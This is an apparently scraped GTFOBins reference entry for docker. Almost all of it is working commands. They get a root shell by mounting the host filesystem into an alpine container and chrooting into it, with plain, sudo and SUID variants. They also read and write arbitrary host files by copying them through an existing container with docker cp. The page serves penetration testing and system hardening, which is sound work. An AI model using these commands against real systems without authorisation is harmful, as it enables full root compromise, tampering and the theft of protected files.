GTFOBins.github.io/_gtfobins/docker.md

description

functions

This requires the user to be privileged enough to run docker, i.e. being in the `docker` group or being `root`.

shell file-write file-read sudo suid description code Any other Docker Linux image should work, e.g., `debian`. The resulting is a root shell. docker run -v /:/mnt --rm -it alpine chroot /mnt sh description code Write any file by copying it to an existing container and back to the target destination on the host. CONTAINER_ID=existing-docker-container TF=$(mktemp) echo "DATA" > $TF docker cp $TF $CONTAINER_ID:$TF docker cp $CONTAINER_ID:$TF file_to_write description code Read any file by copying it to an existing container and back to a new location on the host. CONTAINER_ID=existing-docker-container TF=$(mktemp) docker cp file_to_read $CONTAINER_ID:$TF docker cp $CONTAINER_ID:$TF $TF cat $TF description code Any other Docker Linux image should work, e.g., `debian`. The resulting is a root shell. sudo docker run -v /:/mnt --rm -it alpine chroot /mnt sh description code Any other Docker Linux image should work, e.g., `debian`. The resulting is a root shell. ./docker run -v /:/mnt --rm -it alpine chroot /mnt sh